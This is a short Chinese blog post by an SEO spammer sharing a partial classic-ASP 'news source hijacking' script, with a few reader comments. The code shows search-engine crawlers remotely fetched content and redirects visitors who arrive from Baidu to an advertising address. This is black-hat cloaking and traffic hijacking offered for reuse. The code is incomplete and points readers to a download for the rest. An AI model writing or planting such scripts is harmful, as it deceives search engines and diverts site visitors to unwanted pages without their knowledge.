<%
function GetBot()
此处省略N行……查看新闻源劫持完整代码请下载压缩包
if GetBot="baidu" then
'给百度蜘蛛定制的内容
url="https://www.LsevenTT.com"
'想要展示给蜘蛛的页面地址
wstr=GetHtml(Remote_file)
body=wstr
response.write ""&body&""
response.end
elseif GetBot="google" then
'给google 蜘蛛定制的内容
url="https://www.LsevenTT.com"
wstr=GetHtml(Remote_file)
body=wstr
response.write ""&body&""
response.end
end if
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
'如果用户来自www.baidu.com 这里可以填你的广告地址
response.redirect("https://www.LsevenTT.com")
'跳转指定地址
end if
%>
本文章来自站群哥LsevenTT博客~转载请注明出处
2018年4月28日 下午2:26 2F
兄弟,我不是神仙。不会读心术。不知道你的密码到底是什么。
2018年4月30日 上午5:21 B1
@ 华哥 默认为www.lseventt.com
2018年3月19日 上午11:14 1F
虽然不知道杂用,但还是感谢楼主分享